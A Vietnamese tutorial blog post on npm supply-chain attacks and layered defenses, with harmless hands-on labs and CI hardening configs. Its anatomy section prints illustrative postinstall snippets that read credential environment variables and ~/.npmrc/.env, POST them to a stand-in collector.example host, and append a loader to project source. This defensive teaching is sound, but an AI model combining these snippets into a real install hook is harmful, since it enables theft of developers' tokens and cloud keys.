jvinhit//lab

Search posts

Type to search across journal entries.

navigate open esc close

Web Security for Frontend Devs · Part 17 — Supply-Chain Attacks via npm install

Bonus track: how a single npm install can run attacker code on your machine — lifecycle scripts, transitive deps, git prepare, bin shadowing — the signals to audit, and a full layered defense. With a live install simulator and exercises.

Phần 17 — Nhánh bonus (chuỗi cung ứng) trong series Web Security for Frontend Devs. Trước: Tiếp:

Mọi phần tới giờ tấn công code chạy trong trình duyệt. Phần bonus này lùi về sớm hơn một bước trong ngày của bạn — khoảnh khắc bạn gõ npm install. Sự thật khó chịu: cài một dependency không phải “tải thư viện về”, mà là cho người publish quyền chạy code trên máy bạn hoặc CI của bạn.

Đây là bài viết phòng thủ — cơ chế, dấu hiệu nhận biết, và cách vá nhiều lớp. Không payload, không công thức mã độc.


Mô hình tư duy cốt lõi

Attacker publishes package A (or hijacks an existing one)

You run  npm install A

npm resolves A + its ENTIRE transitive dependency tree

npm may run lifecycle scripts (preinstall / install / postinstall / prepare)

that code executes with YOUR user (or CI) privileges — before you import anything

Nguy hiểm nằm ở khoảng cách giữa ý định và thực tế: bạn nghĩ “tôi đang thêm dependency”; thực tế là “tôi đang chạy code tùy ý do người lạ viết, cộng tất cả mọi người trong cây phụ thuộc của họ”.

Quy tắc nhanh: npm installthực thi code, không phải tải về. Hãy cẩn trọng như curl … | bash.


Bề mặt 1 — lifecycle scripts

Đường phổ biến nhất. package.json của một package có thể khai báo script mà npm chạy tự động khi cài:

{
  "scripts": {
    "preinstall": "node setup.js",
    "install": "node-gyp rebuild",
    "postinstall": "node fetch-binary.js",
    "prepare": "npm run build"
  }
}

Chúng tồn tại vì lý do chính đáng — biên dịch native addon bằng node-gyp, tải binary theo nền tảng, sinh file. Đó chính là lý do mã độc trà trộn: cùng một hook tải binary có thể thay vào đó đọc môi trường và gửi đi.

Một postinstall thù địch sẽ nhắm tới:

  • Biến môi trường.
  • File trong repo.
  • Mạng ra ngoài — tuồn dữ liệu trên.
  • Cố thủ — thêm mục khởi động hoặc sửa file project.

User chỉ nghĩ “cài thư viện”; thực tế package được “chạy code”.


Giải phẫu postinstall độc — bốn nước đi

Để nhận ra script install thù địch, bạn cần biết nó trông như thế nào. Các đoạn dưới đã làm cùn và mang tính minh họa — chỉ cho thấy hình dạng mỗi nước đi và, quan trọng hơn, dấu hiệu lộ tẩy khi review. Trình mô phỏng phía sau cho bạn kích hoạt cả bốn một cách an toàn và xem chúng “thu” được gì.

Nước 1 — đọc biến môi trường

// postinstall.js — runs automatically; "loot" is whatever your shell/CI exported
const loot = {
  npm: process.env.NPM_TOKEN,
  aws: process.env.AWS_SECRET_ACCESS_KEY,
  gh: process.env.GITHUB_TOKEN,
};

Dấu hiệu: Script install đọc process.env cho các tên giống credential thì không có lý do gì khi build. Phát hiện: quét mã script; giữ secret ngoài môi trường cài để không có gì đọc được.

Nước 2 — đọc file trong repo / home

const fs = require("node:fs");
// reads the developer's auth token and project secrets
const npmrc = fs.readFileSync(`${process.env.HOME}/.npmrc`, "utf8");
const dotenv = fs.readFileSync(".env", "utf8"); // CWD = the project installing it

Dấu hiệu: Đọc các file ~/.npmrc, .env, id_rsa, .git/config từ hook install. Phát hiện: cài trong sandbox không có các file đó; --ignore-scripts chặn hẳn hook.

Nước 3 — gọi request ra ngoài (tuồn dữ liệu)

// ship the collected loot off-box
fetch("https://collector.example/x", {
  method: "POST",
  body: JSON.stringify(loot),
});

Dấu hiệu: Bất kỳ lời gọi mạng nào từ script install. Phát hiện: chặn mạng ra ngoài khi cài — kể cả script chạy, exfil vẫn thất bại.

Nước 4 — sửa file trong project (cố thủ)

const fs = require("node:fs");
// quietly append a loader to a file your app already runs
fs.appendFileSync("src/index.js", '\nrequire("./.cache/loader.js");');

Dấu hiệu: Hook install ghi vào cây nguồn của bạn, không chỉ node_modules. Phát hiện: git status/diff sau cài phải cho thấy nguồn không đổi gì.

Sợi chỉ chung: một bước build biên dịch hoặc tải artifact của chính nó. Đọc secret của bạn, chạm nguồn của bạn, hay gọi mạng đều ngoài phạm vi của một build — sự lệch pha đó chính là điểm lộ.


Bề mặt 2 — dependency gián tiếp

Bạn đã rà direct dependency. Bạn có rà dependency của nó không? Và của những cái đó?

my-app
└─ ui-kit            ← the one you installed
   └─ color-utils
      └─ is-even-ish ← hijacked; ships a preinstall you never asked for

Bạn chạy npm install ui-kit, nhưng một util bé xíu ba tầng bên dưới vẫn mang install script. Đây là lý do cây phụ thuộc mới là biên tin cậy thực sự: bạn không chỉ tin package mình gọi tên — bạn tin mọi thứ bên dưới nó, theo cấp. Một app điển hình có hàng trăm tới hàng nghìn package như vậy.

Đây là lớp đứng sau các sự cố thật như event-stream (2018) và ua-parser-js (2021).


Bề mặt 3 — prepare với git dependency

Nếu dependency trỏ tới Git URL thay vì registry, npm chạy prepare để build từ nguồn khi cài:

{
  "dependencies": {
    "internal-sdk": "github:acme/internal-sdk#main"
  }
}

prepare hợp pháp cho bước TypeScript/build. Nhưng git dependency bỏ qua kiểm soát phía registry và bám một ref di động như #main. Nếu repo bị chiếm — hoặc nhánh bị force-push — prepare chạy code kẻ tấn công ở lần cài kế tiếp. Hãy ghim commit SHA, không phải nhánh, và ưu tiên registry.


Bề mặt 4 — bin shadowing & typosquat

Một package có thể expose binary dòng lệnh:

{
  "bin": { "cross-env": "./cli.js" }
}

Khi cài, npm link nó vào node_modules/.bin. Việc này không nhất thiết chạy lúc cài — nó chạy về sau, khi một script gọi command đó:

npm run build   # → calls "cross-env" from node_modules/.bin
npm test
npx some-tool

Hai cái bẫy: Kẻ tấn công typosquat tên quen, hoặc ship bin có tên shadow tool mà script bạn đã gọi. Quan trọng: --ignore-scripts không cứu được ở đây — không có install script; payload chờ trong binary.


Bề mặt 5 — entrypoint lúc chạy

Kể cả chặn mọi install script, package vẫn chạy code khi bạn thật sự dùng nó:

{ "main": "index.js", "exports": { ".": "./dist/index.js" } }
require("package-a"); // runs package-a's top-level code now

Đây là rủi ro lúc chạy, không phải lúc cài — --ignore-scripts vô can. Phòng thủ chuyển sang tin cậy, review, và least privilege lúc chạy.


Thử ngay — trình mô phỏng npm install

Trình mô phỏng dưới cho bạn chọn kịch bản, đọc manifest và cây đã resolve, rồi chạy install mô phỏng và xem lifecycle script nào kích hoạt. Panel “What the script touched” hiện cả bốn nước đi ở trên — biến môi trường (giả), file đọc, request ra ngoài, và sửa nguồn mà hook độc sẽ làm. Bật --ignore-scripts để vô hiệu đường phổ biến và thấy panel im lặng, đọc audit tĩnh, và dùng scorecard. Không có gì thực thi — đây là mô hình dạy học.

Mở demo đầy đủ:


Lab thực hành — tái hiện từng bề mặt an toàn

Simulator là mô hình; giờ chứng minh cơ chế trên máy của chính bạn. Mỗi lab là npm thật — nhưng hành động “độc” được thay bằng một quan sát vô hại: ghi thêm một dòng vào log cục bộ. Bạn thấy code chạy, rồi xác nhận biện pháp giảm rủi ro thực sự chặn được.

An toàn: Chạy trong thư mục dùng-rồi-bỏ (lý tưởng là container/VM). Không gì ở đây đọc secret hay gọi mạng — nhưng hãy quen coi lab install là không tin cậy. Đường dẫn dùng /tmp của macOS/Linux; Windows thay bằng thư mục tạm.

Chuẩn bị chung

# a clean sandbox + a consumer app that will install our local packages
mkdir -p /tmp/npm-lab && cd /tmp/npm-lab
mkdir -p app && (cd app && npm init -y >/dev/null)

Lab 1 — lifecycle script chạy khi cài

Tạo package có postinstall đọc env và ghi proof — chính Nước 1 & 4, đã làm cùn:

mkdir -p /tmp/npm-lab/demo-pkg && cd /tmp/npm-lab/demo-pkg
cat > postinstall.js <<'EOF'
const fs = require("node:fs");
// harmless stand-in for exfiltration: just record what the script CAN reach
fs.appendFileSync("/tmp/npm-lab/proof.log",
  `postinstall ran — could read HOME=${process.env.HOME}\n`);
EOF
cat > package.json <<'EOF'
{ "name": "demo-pkg", "version": "1.0.0",
  "scripts": { "postinstall": "node postinstall.js" } }
EOF

Chạy và quan sát:

cd /tmp/npm-lab/app
rm -f /tmp/npm-lab/proof.log
npm install ../demo-pkg
cat /tmp/npm-lab/proof.log    # → "postinstall ran — could read HOME=/Users/you"

Giờ kiểm chứng biện pháp:

rm -f /tmp/npm-lab/proof.log
npm install ../demo-pkg --ignore-scripts
cat /tmp/npm-lab/proof.log 2>/dev/null || echo "no proof.log — the script was skipped ✅"

Đã chứng minh: Hook install chạy tự động và đọc được môi trường; --ignore-scripts chặn nó.

Lab 2 — dependency gián tiếp cũng chạy

Bọc demo-pkg để bạn chỉ cài wrapper — nhưng script của lá vẫn nổ:

mkdir -p /tmp/npm-lab/wrapper-pkg && cd /tmp/npm-lab/wrapper-pkg
cat > package.json <<'EOF'
{ "name": "wrapper-pkg", "version": "1.0.0",
  "dependencies": { "demo-pkg": "file:../demo-pkg" } }
EOF

cd /tmp/npm-lab/app
rm -f /tmp/npm-lab/proof.log
npm install ../wrapper-pkg
cat /tmp/npm-lab/proof.log    # demo-pkg's postinstall ran — you never named it

Đã chứng minh: Bạn tin cả cây, không chỉ direct dependency. Hãy audit lockfile, nơi lá xuất hiện.

Lab 3 — prepare của git dependency

Dep lấy từ Git build từ nguồn qua prepare:

mkdir -p /tmp/npm-lab/git-dep && cd /tmp/npm-lab/git-dep
git init -q
cat > package.json <<'EOF'
{ "name": "git-dep", "version": "1.0.0",
  "scripts": { "prepare": "node -e \"require('fs').appendFileSync('/tmp/npm-lab/proof.log','prepare ran building git dep\\n')\"" } }
EOF
git add -A && git commit -qm init

cd /tmp/npm-lab/app
rm -f /tmp/npm-lab/proof.log
npm install "git+file:///tmp/npm-lab/git-dep"
cat /tmp/npm-lab/proof.log    # prepare ran — the build-from-source path

Đã chứng minh: git dep chạy prepare và bỏ qua kiểm tra phía registry. Ưu tiên registry; ghim commit SHA, không phải nhánh.

Lab 4 — bin shadowing sống sót --ignore-scripts

Payload ở đây nằm trong binary, không phải hook install:

mkdir -p /tmp/npm-lab/bin-pkg && cd /tmp/npm-lab/bin-pkg
cat > cli.js <<'EOF'
#!/usr/bin/env node
console.log("bin ran — this is where a shadowed command executes");
EOF
cat > package.json <<'EOF'
{ "name": "bin-pkg", "version": "1.0.0", "bin": { "mytool": "cli.js" } }
EOF

cd /tmp/npm-lab/app
npm install ../bin-pkg --ignore-scripts   # note: scripts OFF
npx mytool                                 # …yet the bin still runs

Đã chứng minh: --ignore-scripts không bao phủ bin — nó nổ khi một lệnh build/test/npx gọi tên. Xác minh đúng tên package; audit mục bin.

Lab 5 — entrypoint runtime chạy khi require

mkdir -p /tmp/npm-lab/runtime-pkg && cd /tmp/npm-lab/runtime-pkg
cat > index.js <<'EOF'
console.log("runtime entrypoint ran on require()");
module.exports = {};
EOF
cat > package.json <<'EOF'
{ "name": "runtime-pkg", "version": "1.0.0", "main": "index.js" }
EOF

cd /tmp/npm-lab/app
npm install ../runtime-pkg --ignore-scripts
node -e "require('runtime-pkg')"   # top-level code runs — install flags are irrelevant

Đã chứng minh: Khi bạn dùng package, code của nó chạy bất kể cờ install. Phòng thủ chuyển sang tối giản dependency, review, least privilege lúc chạy.

Dọn dẹp

rm -rf /tmp/npm-lab

Mẹo: Chạy lại Lab 1–3 với .npmrc chứa ignore-scripts=true để cảm nhận mặc định toàn project, và thêm --foreground-scripts để thấy output script npm thường ẩn.


Cần audit gì trước khi cài

Đọc manifest và lockfile, không chỉ README:

package.json
├─ scripts: preinstall / install / postinstall / prepare   ← runs on install
├─ bin                                                      ← linked command names
├─ main / exports                                           ← runs on import
├─ dependencies pointing at git/http URLs                   ← prepare + no registry checks
└─ floating ranges (^, ~, *, latest)                        ← silent version drift

Ngoài manifest, cân nhắc tín hiệu của package:

  • Script install gọi shell, curl/wget, hoặc chạy file lạ.
  • Phiên bản mới đột ngột, nhất là major bump ngay sau khi đổi maintainer.
  • repository lệch/thiếu, lượt tải bất thường, account mới tinh.
  • Tên lệch một phím so với package nổi tiếng (typosquat).

Công cụ tự động hóa: npm audit, npm audit signatures, provenance, và scanner bên thứ ba như Socket.


Phòng thủ — playbook nhiều lớp

Không công tắc nào đủ một mình; hãy kết hợp.

Phòng thủ 1 — tắt install script mặc định

Control đòn bẩy cao nhất:

# one-off
npm install --ignore-scripts

# project / CI default — commit this .npmrc
echo "ignore-scripts=true" >> .npmrc

Chặn preinstall/install/postinstall/prepare. Đánh đổi: package thật sự cần build (native addon) sẽ không build. Cách xử lý: tắt toàn cục, rồi allow-list vài package cần và build tường minh.

Phòng thủ 2 — lockfile + npm ci, ghim version

npm ci   # installs EXACTLY the lockfile, no re-resolution

npm ci không trôi khỏi package-lock.json, nên version độc mới publish không lọt vào cho tới khi bạn cố ý cập nhật. Ghim version chính xác, commit lockfile, và review diff lockfile mỗi PR.

Phòng thủ 3 — cài trong sandbox quyền thấp

Chạy install ở nơi không có gì đáng trộmkhông gọi ra ngoài được:

  • Container/VM không mount secret production.
  • Bước CI cài trước khi inject secret.
  • Chặn mạng ra ngoài khi cài để exfil thất bại kể cả khi script chạy.

Phòng thủ 4 — không để secret trong môi trường cài

Chiến lợi phẩm giá trị nhất là NPM_TOKEN, key cloud, CI token nằm trong env. Thu hẹp phạm vi token, đừng export khi npm ci, ưu tiên credential OIDC ngắn hạn.

Phòng thủ 5 — xác minh integrity & provenance

npm audit signatures   # verify registry signatures on installed packages
npm audit              # known-vulnerability check

Ưu tiên package publish kèm provenance. Thêm scanner trong CI để cờ install script rủi ro và thay đổi hành vi.

Phòng thủ 6 — least privilege lúc chạy

--ignore-scripts không giúp gì cho bề mặt runtimebin. Giảm thiệt hại: tối giản dependency, review thứ bạn import, chạy service least privilege, và xác minh đúng tên package.


npm vs pnpm vs Yarn — ai chạy install script mặc định

Lựa chọn package manager giờ thay đổi mặc định mức độ thiệt hại. Hệ sinh thái dịch mạnh sang “tắt script mặc định” sau làn sóng worm 2025:

  • chạy lifecycle script của dependency mặc định. Tắt bằng ignore-scripts=true.
  • không chạy script dependency mặc định. Allow-list cái cần trong pnpm.onlyBuiltDependencies hoặc pnpm approve-builds:
{ "pnpm": { "onlyBuiltDependencies": ["better-sqlite3", "esbuild"] } }
  • khai báo, bản gần đây mặc định enableScripts: false. Đặt rõ trong .yarnrc.yml, rồi bật lại từng package:
# .yarnrc.yml
enableScripts: false
enableImmutableInstalls: true   # don't let install mutate the lockfile
{ "dependenciesMeta": { "esbuild": { "built": true } } }
  • chạy script mặc định; chỉ có --ignore-scripts toàn cục.

Lưu ý: Manager “tắt mặc định” chỉ bảo vệ bề mặt hook install. bin shadow và code runtime vẫn áp dụng — git dep vẫn có thể chạy prepare/pack.


Một cấu hình cứng hóa bạn copy được

Nền tảng thực dụng cho project npm. Commit .npmrc này ở gốc repo:

# .npmrc — committed, applies to everyone and CI
ignore-scripts=true   # no dependency lifecycle scripts on install
save-exact=true       # added deps are pinned, not ^ranged
fund=false
audit=true

Với script tắt toàn cục, build vài native dep tin cậy tường minh:

npm ci                       # exact lockfile install, scripts already off via .npmrc
npm rebuild better-sqlite3   # allow-list: build only what you trust
npm run build

Job GitHub Actions cứng hóa tối thiểu:

name: ci
on: [push, pull_request]

jobs:
  build:
    runs-on: ubuntu-latest
    # NOTE: no secrets exposed in this job — install runs with nothing to steal
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: 20
          cache: npm
      - run: npm ci --ignore-scripts        # locked + scripts off (belt and suspenders)
      - run: npm rebuild better-sqlite3     # explicit allow-list for native builds
      - run: npm audit signatures           # verify registry signatures / provenance
      - run: npm run build
      - run: npm test

Giữ credential deploy ở job/environment riêng, chạy sau install và test.


Sự cố thật — và dấu hiệu lẽ ra bắt được

Đây là các ca kinh điển đứng sau các bề mặt trên:

  • một package nổi tiếng được giao cho maintainer mới, người này thêm một transitive dependency độc nhắm vào một build ví bitcoin. Dấu hiệu: dependency mới lạ từ maintainer mới — thấy trong diff lockfile.
  • tài khoản npm của maintainer bị chiếm, ba phiên bản kèm install script chạy miner và trộm mật khẩu. Dấu hiệu: bump version bất thường + install script chạm binary/mạng — chỉ ignore-scripts đã chặn được payload.
  • maintainer cố tình ship “protestware” phá hoại theo vị trí địa lý, bị kéo vào gián tiếp bởi project lớn. Dấu hiệu: bản vá ghi filesystem + range thả nổi tự nâng cấp — ghim + review lockfile chặn.
  • chiến dịch tự nhân bản trên hàng trăm package npm: postinstall trộm token rồi publish phiên bản nhiễm của chính package nạn nhân. Đây là lý do pnpm và Yarn chuyển sang mặc định tắt script. Dấu hiệu: postinstall đọc token + gọi mạng — phá bởi không secret khi cài + ignore-scripts + token thu hẹp/ngắn hạn.

Mẫu chung cả bốn: xâm nhập qua đổi maintainer/account hoặc transitive dep, thực thi qua install script, tệ hơn vì version thả nổi. Mọi phòng thủ trong bài nhắm vào một mắt xích đó.


Checklist phòng tránh

  1. Mặc định ignore-scripts=true trong .npmrc đã commit.
  2. Dùng npm ci + lockfile commit + version ghim; review diff mỗi PR.
  3. Cài trong sandbox không secret, chặn egress.
  4. Ưu tiên registry; nếu dùng git, ghim commit SHA.
  5. Chạy npm audit + signatures; ưu tiên provenance; thêm scanner.
  6. Xác minh đúng tên; audit bin, scripts, entrypoint, git URL.

Bài tập / Exercises

1. Đồng đội nói “đã bật ignore-scripts=true nên an toàn”. Nêu hai bề mặt vẫn sống sót và vì sao.

Lời giải

bin shadowing / typosquat — không có install script; payload ở binary chạy khi command sau gọi tên đó. Entrypoint runtime — code chạy khi import/require, bất kể install script. --ignore-scripts chỉ chặn lifecycle hook.

2. Trong simulator, chạy kịch bản transitive có và không có --ignore-scripts. Giải thích vì sao chỉ rà direct dependencies sẽ bỏ sót, và nên review artifact nào thay thế.

Lời giải

Package độc nằm ba tầng sâu — không hề xuất hiện trong package.json, chỉ trong cây đã resolve. Hãy review diff package-lock.json và chạy scanner soi cả cây. Với --ignore-scripts, preinstall bị bỏ qua — nhưng vẫn ship code runtime của nó nếu dùng package cha.

3. CI chạy npm install cùng job giữ deploy token. Mô tả đường exfil một postinstall cho phép, và hai thay đổi độc lập giảm thiệt hại.

Lời giải

postinstall đọc process.env rồi gửi token đi — chiếm trọn account cloud, không kích hoạt review nào. Giảm độc lập: (a) tắt script; (b) cài trước khi inject secret; (c) chặn egress; (d) OIDC ngắn hạn. Chọn hai bất kỳ là đúng.

Nâng cao:Trong scorecard, tìm tập control nhỏ nhất đưa rủi ro về LOW, rồi lập luận control nào bạn thêm đầu tiên cho project legacy đang build native module.


Điểm chính

  • npm install là thực thi code — người publish và cả cây phụ thuộc chạy được code.
  • Bề mặt: lifecycle scripts, transitive, git prepare, bin/typosquat, entrypoint runtime.
  • --ignore-scripts chỉ chặn lifecycle hook — không cứu bin shadow hay code runtime.
  • Phòng thủ nhiều lớp.
  • Biên tin cậy là cả cây phụ thuộc, rà bằng diff lockfile.

Nguồn


Series

Đây là phần bonus đầu trên nền mười phần lõi và nhánh nâng cao (Phần 11–16); tiếp tục sang Phần 18 — Reverse Tabnabbing. Sợi chỉ xuyên suốt từ Phần 10 đúng thêm một lần nữa, lần này ở tầng build: đừng tin thứ gì bạn không tự tạo ra — kể cả code bạn cài — cho tới khi được verify trên bề mặt bạn sở hữu.